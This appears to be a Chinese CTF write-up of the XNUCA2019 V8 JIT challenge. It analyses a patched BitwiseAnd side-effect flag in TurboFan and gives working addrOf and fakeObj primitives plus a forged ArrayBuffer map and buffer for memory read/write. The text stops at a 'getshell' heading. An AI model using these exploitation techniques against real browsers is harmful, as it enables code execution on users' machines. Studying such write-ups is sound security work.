Browser Pwn XNUCA2019-JIT 分析与利用

本文首发于安全客: https://www.anquanke.com/post/id/205572

这是去年XNUCA初赛中的一道题,本文首先会从源码的角度来分析漏洞的成因,并且详细跟进了漏洞利用中回调函数触发的根源,最后通过两种不同的利用技巧来对该漏洞进行利用。

相关exp和patch文件在这里

环境搭建

在学习P4nda师傅关于CVE-2018-17463文章的时候,意识到该漏洞和这道题非常相似,所以本题的环境就直接在CVE-2018-17463上搭建了(与题目本身的环境不一致,但不影响我们学习该题分析和利用的方法)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"

git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
export PATH=`pwd`/ninja:"$PATH"

fetch v8
git checkout 568979f4d891bafec875fab20f608ff9392f4f29

# 手动把src/compiler/js-operator.cc中的
# V(BitwiseAnd, Operator::kNoProperties, 2, 1)改成
# V(BitwiseAnd, Operator::kNoWrite, 2, 1)

# debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

# release version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

漏洞分析

patch

这道题的patch非常简洁,只是把BitwiseAnd的属性从kNoProperties变成了kNoWrite。所以问题肯定出在对BitwiseAnd操作的误判,即认为该操作不存在可见的副作用,既然这个推断有问题,那么副作用到底出现在什么地方呢?下面将从源码的角度来寻找副作用!

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/src/compiler/js-operator.cc b/src/compiler/js-operator.cc
index 5337ae3bda..f5cf34bb3b 100644
--- a/src/compiler/js-operator.cc
+++ b/src/compiler/js-operator.cc
@@ -597,7 +597,7 @@ CompareOperationHint CompareOperationHintOf(const Operator* op) {
#define CACHED_OP_LIST(V) \
V(BitwiseOr, Operator::kNoProperties, 2, 1) \
V(BitwiseXor, Operator::kNoProperties, 2, 1) \
- V(BitwiseAnd, Operator::kNoProperties, 2, 1) \
+ V(BitwiseAnd, Operator::kNoWrite, 2, 1) \
V(ShiftLeft, Operator::kNoProperties, 2, 1) \
V(ShiftRight, Operator::kNoProperties, 2, 1) \
V(ShiftRightLogical, Operator::kNoProperties, 2, 1) \

寻找漏洞触发点

直接全局搜索BitwiseAnd字符串便可找到所有可能操作该节点的地方。注意到在src\compiler\js-generic-lowering.cc中有对该字符串的操作,对于为什么会关注这里,主要是因为这是Turbofan对sea of nodes处理的一个阶段,Turbofan在对代码进行优化编译的时候主要就是经过多个阶段对节点的分析处理来得到更加底层的操作代码。

经过处理后,BitwiseAnd节点被替换成了Builtins::k##Name的Builtins调用,也既Builtins::kBitwiseAnd

1
2
3
4
5
6
7
8
// src\compiler\js-generic-lowering.cc
#define REPLACE_STUB_CALL(Name) \
void JSGenericLowering::LowerJS##Name(Node* node) { \
CallDescriptor::Flags flags = FrameStateFlagForCall(node); \
Callable callable = Builtins::CallableFor(isolate(), Builtins::k##Name); \
ReplaceWithStubCall(node, callable, flags); \
}
REPLACE_STUB_CALL(BitwiseAnd)

Builtins::kBitwiseAnd定义在src\builtins\builtins-number-gen.cc中,主要逻辑就是获取BitwiseAnd节点的左右两个操作数,利用TaggedToWord32OrBigInt判断操作数是正常的数还是BigInt,如果左右操作数都不是大整数,就会调用BitwiseOp来进行处理,否则就会调用Runtime::kBigIntBinaryOp的runtime函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// src\builtins\builtins-number-gen.cc
TF_BUILTIN(BitwiseAnd, NumberBuiltinsAssembler) {
EmitBitwiseOp<Descriptor>(Operation::kBitwiseAnd);
}

template <typename Descriptor>
void EmitBitwiseOp(Operation op) {
// 要调试的话可以加入:
// DebugBreak();
Node* left = Parameter(Descriptor::kLeft);
Node* right = Parameter(Descriptor::kRight);
Node* context = Parameter(Descriptor::kContext);

VARIABLE(var_left_word32, MachineRepresentation::kWord32);
VARIABLE(var_right_word32, MachineRepresentation::kWord32);
VARIABLE(var_left_bigint, MachineRepresentation::kTagged, left);
VARIABLE(var_right_bigint, MachineRepresentation::kTagged);
Label if_left_number(this), do_number_op(this);
Label if_left_bigint(this), do_bigint_op(this);

TaggedToWord32OrBigInt(context, left, &if_left_number, &var_left_word32,
&if_left_bigint, &var_left_bigint);
BIND(&if_left_number);
TaggedToWord32OrBigInt(context, right, &do_number_op, &var_right_word32,
&do_bigint_op, &var_right_bigint);
BIND(&do_number_op);
Return(BitwiseOp(var_left_word32.value(), var_right_word32.value(), op));

// BigInt cases.
BIND(&if_left_bigint);
TaggedToNumeric(context, right, &do_bigint_op, &var_right_bigint);

BIND(&do_bigint_op);
Return(CallRuntime(Runtime::kBigIntBinaryOp, context,
var_left_bigint.value(), var_right_bigint.value(),
SmiConstant(op)));
}

一开始的分析方向主要是放在BitwiseAnd节点对两个操作数的改变上,但是我结合实际调试以及源码分析,没有找到哪个地方对操作数进行了改变,感兴趣的可以查看一下相关代码,由于篇幅原因,这里我只分析存在漏洞的地方,也就是TaggedToWord32OrBigInt函数中的内容。

跟进TaggedToWord32OrBigInt函数,函数又调用了TaggedToWord32OrBigIntImplTaggedToWord32OrBigIntImpl主要的逻辑是一个循环,会判断参数value节点的类型是不是小整数Smi,不是的话就会依据其map来看value的类型,例如是不是HeapNumber、BigInt。如果都不是,那么会看value的instance_type是不是ODDBALL_TYPE,如果仍然不是,那么就会依据conversion的类型来调用相应的Builtins函数,这里conversion的类型为Object::Conversion::kToNumeric,因此会调用Builtins::NonNumberToNumeric函数,这就是问题所在了!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
// src\code-stub-assembler.cc
void CodeStubAssembler::TaggedToWord32OrBigInt(Node* context, Node* value,
Label* if_number,
Variable* var_word32,
Label* if_bigint,
Variable* var_bigint) {
TaggedToWord32OrBigIntImpl<Object::Conversion::kToNumeric>(
context, value, if_number, var_word32, if_bigint, var_bigint);
}

template <Object::Conversion conversion>
void CodeStubAssembler::TaggedToWord32OrBigIntImpl(
Node* context, Node* value, Label* if_number, Variable* var_word32,
Label* if_bigint, Variable* var_bigint, Variable* var_feedback) {

...
// We might need to loop after conversion.
VARIABLE(var_value, MachineRepresentation::kTagged, value);
OverwriteFeedback(var_feedback, BinaryOperationFeedback::kNone);
Variable* loop_vars[] = {&var_value, var_feedback};
int num_vars =
var_feedback != nullptr ? arraysize(loop_vars) : arraysize(loop_vars) - 1;
Label loop(this, num_vars, loop_vars);
Goto(&loop);
BIND(&loop);
{
// 取操作数的值
value = var_value.value();
Label not_smi(this), is_heap_number(this), is_oddball(this),
is_bigint(this);
//判断操作数是不是小整数Smi
GotoIf(TaggedIsNotSmi(value), &not_smi);

// 如果是小整数,进入到if_number的处理分支
// {value} is a Smi.
var_word32->Bind(SmiToInt32(value));
CombineFeedback(var_feedback, BinaryOperationFeedback::kSignedSmall);
Goto(if_number);

// 如果不是Smi,那么加载value对象的map,依据map来判断是不是HeapNumber
BIND(&not_smi);
Node* map = LoadMap(value);
GotoIf(IsHeapNumberMap(map), &is_heap_number);
// 如果不是HeapNumber,从map中获取实例的类型InstanceType
Node* instance_type = LoadMapInstanceType(map);
if (conversion == Object::Conversion::kToNumeric) {
// 如果instance_type是BigInt
GotoIf(IsBigIntInstanceType(instance_type), &is_bigint);
}

// Not HeapNumber (or BigInt if conversion == kToNumeric).
// 既不是HeapNumber也不是BigInt
{
if (var_feedback != nullptr) {
// We do not require an Or with earlier feedback here because once we
// convert the value to a Numeric, we cannot reach this path. We can
// only reach this path on the first pass when the feedback is kNone.
CSA_ASSERT(this, SmiEqual(CAST(var_feedback->value()),
SmiConstant(BinaryOperationFeedback::kNone)));
}
// 判断instance_type是不是ODDBALL_TYPE
GotoIf(InstanceTypeEqual(instance_type, ODDBALL_TYPE), &is_oddball);
// Not an oddball either -> convert.
// 不是ODDBALL_TYPE,依据conversion的类型调用相应的Builtin函数,conversion的类型为Object::Conversion::kToNumeric
auto builtin = conversion == Object::Conversion::kToNumeric
? Builtins::kNonNumberToNumeric
: Builtins::kNonNumberToNumber;
var_value.Bind(CallBuiltin(builtin, context, value));
OverwriteFeedback(var_feedback, BinaryOperationFeedback::kAny);
Goto(&loop);

BIND(&is_oddball);
var_value.Bind(LoadObjectField(value, Oddball::kToNumberOffset));
OverwriteFeedback(var_feedback,
BinaryOperationFeedback::kNumberOrOddball);
Goto(&loop);
}

BIND(&is_heap_number);
var_word32->Bind(TruncateHeapNumberValueToWord32(value));
CombineFeedback(var_feedback, BinaryOperationFeedback::kNumber);
Goto(if_number);

if (conversion == Object::Conversion::kToNumeric) {
BIND(&is_bigint);
var_bigint->Bind(value);
CombineFeedback(var_feedback, BinaryOperationFeedback::kBigInt);
Goto(if_bigint);
}
}
}

看到这里的kNonNumberToNumeric,让我想起了数字经济线下赛的Browser Pwn,那道题利用的就是ToNumber函数在调用的时候会触发valueOf的回调函数,这道题是否也会触发相应的回调函数呢?在我测试后发现果然是这样!!也就是说我们找到了漏洞存在的地方,a&b将生成一个BitwiseAnd节点,该节点被判定为NoWrite,实际情况却是在对BitwiseAnd节点的输入操作数进行处理的时候会触发操作数中的valueOf回调函数,所以认为该节点是NoWrite是有问题的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function opt_me(a,b){
let c = 1.0
c = c+3;
a&b;
return c;
}
let b = {
valueOf:function(){
return 112233;
}
}
let b1 = {
valueOf:function(){
print('callback');
return 223344;
}
}
opt_me(1234,b);
opt_me(1234,b);
%OptimizeFunctionOnNextCall(opt_me);
opt_me(2345,b1);
// output: callback

探寻回调函数-toPrimitive

虽然已经找到了触发漏洞的方式,但是我们的分析不能到此为止,接下来的目标是尝试跟踪到具体调用回调函数的地方。继续分析Builtins::NonNumberToNumeric,该函数获取节点的context和input,并将其作为NonNumberToNumeric的参数。NonNumberToNumeric内部又调用了NonNumberToNumberOrNumeric函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// src\builtins\builtins-conversion-gen.cc
TF_BUILTIN(NonNumberToNumeric, CodeStubAssembler) {
Node* context = Parameter(Descriptor::kContext);
Node* input = Parameter(Descriptor::kArgument);

Return(NonNumberToNumeric(context, input));
}

// src\code-stub-assembler.cc
TNode<Numeric> CodeStubAssembler::NonNumberToNumeric(
SloppyTNode<Context> context, SloppyTNode<HeapObject> input) {
Node* result = NonNumberToNumberOrNumeric(context, input,
Object::Conversion::kToNumeric);
CSA_SLOW_ASSERT(this, IsNumeric(result));
return UncheckedCast<Numeric>(result);
}

NonNumberToNumberOrNumeric函数的主要逻辑也是一个大循环,在循环里面对input的instance_type进行判断,判断是否是String、BigInt、ODDBALL_TYPE、JSReceiver等,然后跳转到相应的分支处去执行。如果是String,就调用StringToNumber把字符串转换为Number。我们要关注的是if_inputisreceiver这个分支,该分支会调用NonPrimitiveToPrimitive来把input转换为更原始的数据,如果转换结果是一个Number/Numeric,说明转换完成退出循环,否则继续循环。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
// src\code-stub-assembler.cc
Node* CodeStubAssembler::NonNumberToNumberOrNumeric(
Node* context, Node* input, Object::Conversion mode,
BigIntHandling bigint_handling) {

...
// We might need to loop once here due to ToPrimitive conversions.
VARIABLE(var_input, MachineRepresentation::kTagged, input);
VARIABLE(var_result, MachineRepresentation::kTagged);
Label loop(this, &var_input);
Label end(this);
Goto(&loop);
BIND(&loop);
{
// Load the current {input} value (known to be a HeapObject).
Node* input = var_input.value();

// 获取input的instancetype
// Dispatch on the {input} instance type.
Node* input_instance_type = LoadInstanceType(input);
// 定义多个标签,每个标签对应一个跳转分支
Label if_inputisstring(this), if_inputisoddball(this),
if_inputisbigint(this), if_inputisreceiver(this, Label::kDeferred),
if_inputisother(this, Label::kDeferred);
// 依次判断instance_type是不是String、BigInt、ODDBALL_TYPE、JSReceiver等,并跳转到相应的分支继续执行
GotoIf(IsStringInstanceType(input_instance_type), &if_inputisstring);
GotoIf(IsBigIntInstanceType(input_instance_type), &if_inputisbigint);
GotoIf(InstanceTypeEqual(input_instance_type, ODDBALL_TYPE),
&if_inputisoddball);
Branch(IsJSReceiverInstanceType(input_instance_type), &if_inputisreceiver,
&if_inputisother);

// 如果是字符串
BIND(&if_inputisstring);
{
// The {input} is a String, use the fast stub to convert it to a Number.
TNode<String> string_input = CAST(input);
var_result.Bind(StringToNumber(string_input));
Goto(&end);
}
// 如果是BigInt
BIND(&if_inputisbigint);
...

// 是ODDBALL_TYPE
BIND(&if_inputisoddball);
{
...
}

// 是JSReceiver
BIND(&if_inputisreceiver);
{
// The {input} is a JSReceiver, we need to convert it to a Primitive first
// using the ToPrimitive type conversion, preferably yielding a Number.
// 调用NonPrimitiveToPrimitive来把input转换为更原始的数据
Callable callable = CodeFactory::NonPrimitiveToPrimitive(
isolate(), ToPrimitiveHint::kNumber);
Node* result = CallStub(callable, context, input);

// Check if the {result} is already a Number/Numeric.
//检查结果是Number还是Numeric
Label if_done(this), if_notdone(this);
Branch(mode == Object::Conversion::kToNumber ? IsNumber(result)
: IsNumeric(result),
&if_done, &if_notdone);

BIND(&if_done);
{
// The ToPrimitive conversion already gave us a Number/Numeric, so we're
// done.
// 通过ToPrimitive的转换,已经得到了一个Number/Numeric,退出循环
var_result.Bind(result);
Goto(&end);
}

BIND(&if_notdone);
{
// We now have a Primitive {result}, but it's not yet a Number/Numeric.
// 得到了更原始的结果,但是仍然不是Number/Numeric,继续循环。
var_input.Bind(result);
Goto(&loop);
}
}

// other
BIND(&if_inputisother);
{
...
}
}
...
return var_result.value();
}

NonPrimitiveToPrimitive内部调用了Builtins函数NonPrimitiveToPrimitive,依据hint的类型调用相应的处理函数。这里的hint是kNumber,因此调用的是NonPrimitiveToPrimitive_Number函数,函数内部也仅仅是调用Generate_NonPrimitiveToPrimitive来进一步对参数进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// src\code-factory.cc
Callable CodeFactory::NonPrimitiveToPrimitive(Isolate* isolate,
ToPrimitiveHint hint) {
return Callable(isolate->builtins()->NonPrimitiveToPrimitive(hint),
TypeConversionDescriptor{});
}

// src\builtins\builtins.cc
Handle<Code> Builtins::NonPrimitiveToPrimitive(ToPrimitiveHint hint) {
switch (hint) {
case ToPrimitiveHint::kDefault:
return builtin_handle(kNonPrimitiveToPrimitive_Default);
case ToPrimitiveHint::kNumber:
return builtin_handle(kNonPrimitiveToPrimitive_Number); // here
case ToPrimitiveHint::kString:
return builtin_handle(kNonPrimitiveToPrimitive_String);
}
UNREACHABLE();
}

// src\builtins\builtins-conversion-gen.cc
TF_BUILTIN(NonPrimitiveToPrimitive_Number, ConversionBuiltinsAssembler) {
Node* context = Parameter(Descriptor::kContext);
Node* input = Parameter(Descriptor::kArgument);

Generate_NonPrimitiveToPrimitive(context, input, ToPrimitiveHint::kNumber);
}

Generate_NonPrimitiveToPrimitive函数内部会查找input的@@toPrimitive属性,如果存在相关属性便会通过CallJS来调用我们的@@toPrimitive属性exotic_to_prim,那这个toPrimitive到底是个什么呢?查了一下发现这个属性是我们可以定义的,也就是说这个地方是我们可以设置的回调函数!!!

Symbol.toPrimitive 是一个内置的 Symbol 值,它是作为对象的函数值属性存在的,当一个对象转换为对应的原始值时,会调用此函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// src\builtins\builtins-conversion-gen.cc
// ES6 section 7.1.1 ToPrimitive ( input [ , PreferredType ] )
void ConversionBuiltinsAssembler::Generate_NonPrimitiveToPrimitive(
Node* context, Node* input, ToPrimitiveHint hint) {
// Lookup the @@toPrimitive property on the {input}.
Node* exotic_to_prim =
GetProperty(context, input, factory()->to_primitive_symbol());

// Check if {exotic_to_prim} is neither null nor undefined.
// 检查exotic_to_prim,若既不是null也不是undefined
Label ordinary_to_primitive(this);
GotoIf(IsNullOrUndefined(exotic_to_prim), &ordinary_to_primitive);
{
// Invoke the {exotic_to_prim} method on the {input} with a string
// representation of the {hint}.
Callable callable =
CodeFactory::Call(isolate(), ConvertReceiverMode::kNotNullOrUndefined);
Node* hint_string = HeapConstant(factory()->ToPrimitiveHintString(hint));
// calljs调用exotic_to_prim
Node* result =
CallJS(callable, context, exotic_to_prim, input, hint_string);
//判断结果是否是一个原始值
// Verify that the {result} is actually a primitive.
Label if_resultisprimitive(this),
if_resultisnotprimitive(this, Label::kDeferred);
GotoIf(TaggedIsSmi(result), &if_resultisprimitive);
Node* result_instance_type = LoadInstanceType(result);
Branch(IsPrimitiveInstanceType(result_instance_type), &if_resultisprimitive,
&if_resultisnotprimitive);

BIND(&if_resultisprimitive);
{
// Just return the {result}.
Return(result);
}

BIND(&if_resultisnotprimitive);
{
// Somehow the @@toPrimitive method on {input} didn't yield a primitive.
ThrowTypeError(context, MessageTemplate::kCannotConvertToPrimitive);
}
}

// Convert using the OrdinaryToPrimitive algorithm instead.
BIND(&ordinary_to_primitive);
{
Callable callable = CodeFactory::OrdinaryToPrimitive(
isolate(), (hint == ToPrimitiveHint::kString)
? OrdinaryToPrimitiveHint::kString
: OrdinaryToPrimitiveHint::kNumber);
TailCallStub(callable, context, input);
}
}

所以按照上面的分析,我们可以设置对象的toPrimitive属性,然后在处理过程中会调用该属性对应的回调函数,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
let b = {
[Symbol.toPrimitive](hint) {
return 112233;
}
}
let b1 = {
[Symbol.toPrimitive](hint) {
print('callback');
return 112233;
}
}
opt_me(1234,b);
opt_me(1234,b);
%OptimizeFunctionOnNextCall(opt_me);
opt_me(2345,b1);
// output: callback

探寻回调函数-valueOf

通过前面的分析我们找到了一处回调函数调用的地方toPrimitive属性,这已经可以用来进行漏洞利用了,但是还是没有找到最开始发现的valueOf回调函数调用的地方,所以还要继续分析!

我们开始定义的包含valueOf的对象没有定义相应的toPrimitive属性,所以在Generate_NonPrimitiveToPrimitive中它应该会跳转到ordinary_to_primitive分支处执行,也就是会调用OrdinaryToPrimitive函数。这个函数的逻辑和前面分析的很相似,最后会跳转到Generate_OrdinaryToPrimitive函数中执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// src\code-factory.cc
// static
Callable CodeFactory::OrdinaryToPrimitive(Isolate* isolate,
OrdinaryToPrimitiveHint hint) {
return Callable(isolate->builtins()->OrdinaryToPrimitive(hint),
TypeConversionDescriptor{});
}

// src\builtins\builtins.cc
Handle<Code> Builtins::OrdinaryToPrimitive(OrdinaryToPrimitiveHint hint) {
switch (hint) {
case OrdinaryToPrimitiveHint::kNumber:
return builtin_handle(kOrdinaryToPrimitive_Number);
case OrdinaryToPrimitiveHint::kString:
return builtin_handle(kOrdinaryToPrimitive_String);
}
UNREACHABLE();
}

// src\builtins\builtins-conversion-gen.cc
TF_BUILTIN(OrdinaryToPrimitive_Number, ConversionBuiltinsAssembler) {
Node* context = Parameter(Descriptor::kContext);
Node* input = Parameter(Descriptor::kArgument);
Generate_OrdinaryToPrimitive(context, input,
OrdinaryToPrimitiveHint::kNumber);
}

Generate_OrdinaryToPrimitive函数中终于出现了我们所期望的内容,该函数依据hint的值来设置method_names变量中的内容,主要是valueOftoString。然后会尝试从input中获取valueOf/toString属性,如果获取到的属性是callable,那么就调用它,所以我们定义的valueOf属性对应的回调函数会被调用,至此源码分析结束!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// src\builtins\builtins-conversion-gen.cc
// 7.1.1.1 OrdinaryToPrimitive ( O, hint )
void ConversionBuiltinsAssembler::Generate_OrdinaryToPrimitive(
Node* context, Node* input, OrdinaryToPrimitiveHint hint) {
VARIABLE(var_result, MachineRepresentation::kTagged);
Label return_result(this, &var_result);
// 依据hint来设置method_names
Handle<String> method_names[2];
switch (hint) {
case OrdinaryToPrimitiveHint::kNumber:
method_names[0] = factory()->valueOf_string();
method_names[1] = factory()->toString_string();
break;
case OrdinaryToPrimitiveHint::kString:
method_names[0] = factory()->toString_string();
method_names[1] = factory()->valueOf_string();
break;
}
// 遍历method_names,依据method_name来获取input中对应的属性
for (Handle<String> name : method_names) {
// Lookup the {name} on the {input}.
Node* method = GetProperty(context, input, name);

// Check if the {method} is callable.
// 检查获取到的method是否是callable
Label if_methodiscallable(this),
if_methodisnotcallable(this, Label::kDeferred);
GotoIf(TaggedIsSmi(method), &if_methodisnotcallable);
Node* method_map = LoadMap(method);
Branch(IsCallableMap(method_map), &if_methodiscallable,
&if_methodisnotcallable);

// 通过CallJS来调用我们的回调函数
BIND(&if_methodiscallable);
{
// Call the {method} on the {input}.
Callable callable = CodeFactory::Call(
isolate(), ConvertReceiverMode::kNotNullOrUndefined);
Node* result = CallJS(callable, context, method, input);
var_result.Bind(result);

// Return the {result} if it is a primitive.
GotoIf(TaggedIsSmi(result), &return_result);
Node* result_instance_type = LoadInstanceType(result);
GotoIf(IsPrimitiveInstanceType(result_instance_type), &return_result);
}

// Just continue with the next {name} if the {method} is not callable.
Goto(&if_methodisnotcallable);
BIND(&if_methodisnotcallable);
}

ThrowTypeError(context, MessageTemplate::kCannotConvertToPrimitive);

BIND(&return_result);
Return(var_result.value());
}

小结

本节以patch文件为切入点,从源码的角度分析了漏洞存在的地方,结合数字经济线下赛的解题思路找到了触发漏洞的方式,然后以此探寻了回调函数最终被调用的根源,最终找到了三种定义回调函数的方法:

  • Symbol.toPrimitive属性
  • valueOf属性
  • toString属性

漏洞利用 - Fake ArrayBuffer

该利用方法是从Sakura师傅写的34c3 v9 writeup中学到的。最初我构造出addrOf和fakeObj之后被卡了很久,主要就是拿不到一个合法的map,从师傅的文章里面了解到伪造ArrayBuffer map并进一步伪造出ArrayBuffer是可行的。

addrOf原语

利用Turbofan对BitwiseAnd节点影响的误判,我们可以消除掉对象属性访问的CheckMaps节点,进而造成类型混淆。例如定义let c = {x:1.2,y:1.3};,在两次属性访问c.xc.y之间插入a&b操作,c.y的ChekMaps节点仍会被消除,如果在回调函数中把c.y赋值为一个对象,那么return c.y;仍然会按照之前的类型double来返回数据,实现对象的地址信息泄露。由于正常写addrOf原语每调用一次之后就得重新写一个新的addrOf函数,因此我在addrOf中加入了部分动态生成的代码片段,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function getObj(idx){
let c = 2.2;
eval(`c = {x:1.2,${'y'+idx}:2.2};`);
return c;
}
function addrOf(obj,cid){
eval(`
function vulfunc4leak(a,b,c){
let d = 1.2;
d = c.x+d;
a&b;
return c.${'y'+cid};
}
`);
let b0 = {
valueOf: function(){
return 22223333;
}
}
let b = {
valueOf: function(){
eval(`c.${'y'+cid} = obj;`);
return 888888889999;
}
}
var c = getObj(cid);
for(let i=0;i<OPT_NUM;++i){
vulfunc4leak(12345,b0,c);
}
let ret = vulfunc4leak(12345,b,c);
return ret;
}

fakeObj原语

fakeObj原语的实现和addrOf类似,只需要第二次对属性的访问o.y1是写操作即可,我们在回调函数中先把o.y1赋值为一个对象,后续的写操作由于消掉了CheckMaps节点仍会以double类型的方式往o.y1写入数据,执行完后返回的o.y1会按照对象来解析。因此我们可以指定任意的地址,该地址将作为对象被返回,实现fakeObj。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function fakeObj(addr){
function vulfunc4fake(a,b,o,value){
for(let i=0;i<OPT_NUM;++i){}
o.x1;
a&b;
o.y1 = value;
return o.x1;
}
let a1 = 11112222;
let b2 = {
valueOf: function(){
return 11112333;
}
}
let obj4 = new ArrayBuffer(0x30);
let o = {x1:1.1,y1:1.2};
let b3 = {
valueOf: function(){
o.y1 = obj4;
return 888888887777;
}
}
vulfunc4fake(a1,b2,o,1.3);
vulfunc4fake(a1,b2,o,1.3);
let ret = vulfunc4fake(a1,b3,o,addr);
return o.y1;
}

伪造ArrayBuffer map

有了addrOf可以泄露对象的地址,利用fakeObj可以伪造对象,但是面临的一个问题就是每个对象都有map字段,若是不能得到一个正确合法的map,我们的对象是不能被正常解析的。实现任意地址读写一个很直观的思路就是伪造ArrayBuffer对象,控制backing_store字段即可任意地址读写,前提是得先伪造ArrayBuffer map

伪造map只需要按照下面这个形式来伪造就行了:

1
2
3
4
5
6
7
8
var ab_map_obj = [
-1.1263976280432204e+129, //0xdaba0000daba0000,写死即可,这个数字应该无所谓
2.8757499612354866e-188, //这里是固定的标志位,直接打印一个ArrayBuffer,把对应于map这个位置的标志位用对应的double number写进去即可
6.7349004654127717e-316, //这里是固定的标志位,直接打印一个ArrayBuffer,把对应于map这个位置的标志位用对应的double number写进去即可
-1.1263976280432204e+129, // use prototype replace it
-1.1263976280432204e+129, // use constructor replace it
0.0
];

我们需要关注map对象的两个字段,prototypeconstructor,其中prototype的地址可以通过addrOf(ab.__proto__)来获取,而constructor的地址和prototype的偏移是固定的(这里是0x1A0),因此可以算出constructor的地址。随便打印一个实际ArrayBuffer的map对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0x55fbd984371: [Map]
- type: JS_ARRAY_BUFFER_TYPE
- instance size: 64
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x0a8b573825a1 <undefined>
- prototype_validity cell: 0x3291ad202201 <Cell value= 1>
- instance descriptors (own) #0: 0x0a8b57382321 <DescriptorArray[2]>
- layout descriptor: (nil)
- prototype: 0x3fb82f110fd1 <Object map = 0x55fbd9843c1>
- constructor: 0x3fb82f110e31 <JSFunction ArrayBuffer (sfi = 0x3291ad216e41)>
- dependent code: 0x0a8b57382391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

pwndbg> x/20xg 0x55fbd984370
0x55fbd984370: 0x00000a8b57382251 0x1900042313080808
0x55fbd984380: 0x00000000082003ff 0x00003fb82f110fd1
0x55fbd984390: 0x00003fb82f110e31 0x0000000000000000
0x55fbd9843a0: 0x00000a8b57382321 0x0000000000000000
0x55fbd9843b0: 0x00000a8b57382391 0x00003291ad202201
pwndbg> p {double} 0x55fbd984378
$1 = 2.8757499612354866e-188
pwndbg> p {double} 0x55fbd984380
$2 = 6.7349004654127717e-316
pwndbg>

需要注意的是伪造的map对象在后面的操作过程中由于触发GC,会被移动到old space中,若是采用前面提到的数组形式来存放数据,在移动之后JSArray对象的elements字段与该对象起始地址的偏移是不固定的,这使得我们的漏洞利用具有不稳定性,所以用什么方法可以让对象起始地址和数据之间的偏移固定呢?可以利用对象的属性信息来存储我们的fake map数据,我们知道对象内属性是直接存放在对象内部的,其相对于对象起始地址偏移固定为0x18。

所以最后存放fake map可以用这种形式:

1
2
3
4
// fake arraybuffer map
let fake_ab_map = {x1:-1.1263976280432204e+129,x2:2.8757499612354866e-188,x3:6.7349004654127717e-316,x4:-1.1263976280432204e+129,x5:-1.1263976280432204e+129,x6:0.0};
fake_ab_map.x4 = mem.u2d(ab_proto_addr);
fake_ab_map.x5 = mem.u2d(ab_construct_addr);

伪造ArrayBuffer

伪造出ArrayBuffer map之后,伪造一个ArrayBuffer便比较简单了,只需要按照下面这种形式来伪造即可,前面的三个字段只需要用我们fake map的地址来填写即可,后面的是ArrayBuffer的length和backing store。

1
2
3
4
5
6
7
8
var fake_ab = [
mem.u2d(ab_map_obj_addr), //我们fake的map地址
mem.u2d(ab_map_obj_addr), //写死即可,这个数字应该无所谓
mem.u2d(ab_map_obj_addr), //写死即可,这个数字应该无所谓
3.4766779039175e-310, /* buffer length 0x4000*/
3.477098183419809e-308,//backing store,先随便填一个数
mem.u2d(0x8)
];

这里需要注意最后一个字段,在34c3ctf v9里面用mem.u2d(4)可以的,但是在这里它会报如下错误:

1
2
TypeError: Cannot perform DataView.prototype.getFloat64 on a detached ArrayBuffer
at DataView.getFloat64 (<anonymous>)

依据这个错误,翻了一下源码,发现通过IsDetachedBuffer来判断一个buffer是否是Detached,判断的方式就是LoadJSArrayBufferBitField加载JSArrayBuffer的bit_filedbit_filed刚好就是我们fake_ab的最后一个字段,所以我尝试把它从0x4改成0x8,结果就没有报错了。

最后伪造的ArrayBuffer数据可以是这样:

1
2
let fake_ab = {y1:mem.u2d(fake_ab_map_addr),y2:mem.u2d(fake_ab_map_addr),y3:mem.u2d(fake_ab_map_addr),y4:mem.u2d(0x2000000000),y5:mem.u2d(fake_ab_map_addr+0x20),y6:mem.u2d(0x8)};
gc();

getshell

